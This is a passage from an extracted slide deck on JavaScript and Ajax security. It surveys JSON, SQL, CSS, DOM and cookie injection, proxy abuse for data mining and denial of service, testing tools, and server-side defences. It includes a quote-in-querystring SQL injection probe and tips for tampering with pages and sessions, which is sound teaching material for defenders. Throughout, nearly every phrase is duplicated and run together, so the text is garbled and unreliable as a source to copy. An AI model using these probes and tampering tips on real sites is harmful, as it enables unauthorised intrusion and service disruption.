JSON InjectionJSON Injection

► JavaScript Object Notation (normally JavaScript Object Notation (normally preferred over XML format)preferred over XML format)

► Can bypass the Cross Site Scripting Can bypass the Cross Site Scripting RestrictionsRestrictions

► http://www.pascarello.com/examples/http://www.pascarello.com/examples/JsonYahooExample.htmlJsonYahooExample.html

► Problem with this: Code is eval()/injected Problem with this: Code is eval()/injected onto page to make it usable for JavaScript. onto page to make it usable for JavaScript. Have to trust your source they do not embed Have to trust your source they do not embed

other code!other code! Preferred method is to loop through the data. Preferred method is to loop through the data. Check out JSON.org for more information!Check out JSON.org for more information!

Page 52: Investigating JavaScript and Ajax Security

Other InjectionsOther Injections

► SQL InjectionSQL Injection Quick test in an URL insert ' to the querystring and see if Quick test in an URL insert ' to the querystring and see if

you get an error message! …com?ID=314'159you get an error message! …com?ID=314'159► CSS InjectionCSS Injection

Change the cached CSS file on the local machine! Screw Change the cached CSS file on the local machine! Screw with your friends that Digg is now pink! Hide the log in with your friends that Digg is now pink! Hide the log in fields, move elements around!fields, move elements around!

► XML/SOAPXML/SOAP Page can be loaded with bad data or data can be sent with Page can be loaded with bad data or data can be sent with

bad data to the server!bad data to the server!► DOM InjectionDOM Injection

Additional elements can be added, removed, changed, etc.Additional elements can be added, removed, changed, etc.► CookiesCookies

Delete, Add, Change, and see what happens to the Delete, Add, Change, and see what happens to the sessions!sessions!

Page 53: Investigating JavaScript and Ajax Security

Same Domain Policy Workaround: Same Domain Policy Workaround: Proxy!Proxy!

Page 54: Investigating JavaScript and Ajax Security

What is bad about this?What is bad about this?

► Inject JavaScript code onto page.Inject JavaScript code onto page. Free data mining service with unlimited Free data mining service with unlimited

access!access! Most proxy services have limited access Most proxy services have limited access

unless you have good relations!unless you have good relations!►DOS service attacksDOS service attacks

Remember that Ajax For Loop making Remember that Ajax For Loop making requests!requests!

DOS the site, proxy thinks that the server is DOS the site, proxy thinks that the server is attacking them. attacking them.

Rest of users on site lose the functionalityRest of users on site lose the functionality

Page 55: Investigating JavaScript and Ajax Security

Other ToolsOther Tools

►Firefox ExtensionsFirefox Extensions Firebug – view the XMLHttpRequestsFirebug – view the XMLHttpRequests Selenium – Record scripts and replay them!Selenium – Record scripts and replay them! JSView – See All JavaScript/CSS with a clickJSView – See All JavaScript/CSS with a click Modify Headers – (what the name implies!)Modify Headers – (what the name implies!) NoScript – Turn off or limit scriptsNoScript – Turn off or limit scripts

►Fiddler and other Proxys– Watch all trafficFiddler and other Proxys– Watch all traffic

Page 56: Investigating JavaScript and Ajax Security

Quick SummaryQuick Summary

Ajax Adds more attack vectorsAjax Adds more attack vectors►Do what you always done on the server!Do what you always done on the server!

Keep the business logic on the serverKeep the business logic on the server Validate on the serverValidate on the server

►White List / BlacklistWhite List / Blacklist

Check/Remove InjectionsCheck/Remove Injections

►Remember that Proxys can be abused!Remember that Proxys can be abused!►Use Common SenseUse Common Sense

Page 57: Investigating JavaScript and Ajax Security

QuestionsQuestions

► Email: [email protected]: [email protected]► Blog: http://radio.javaranch.com/pascarelloBlog: http://radio.javaranch.com/pascarello► Forums: http://saloon.JavaRanch.comForums: http://saloon.JavaRanch.com► Ajax In Action: Ajax In Action:

http://www.manning.com/cranehttp://www.manning.com/crane► Need a Job? http://www.market10.comNeed a Job? http://www.market10.com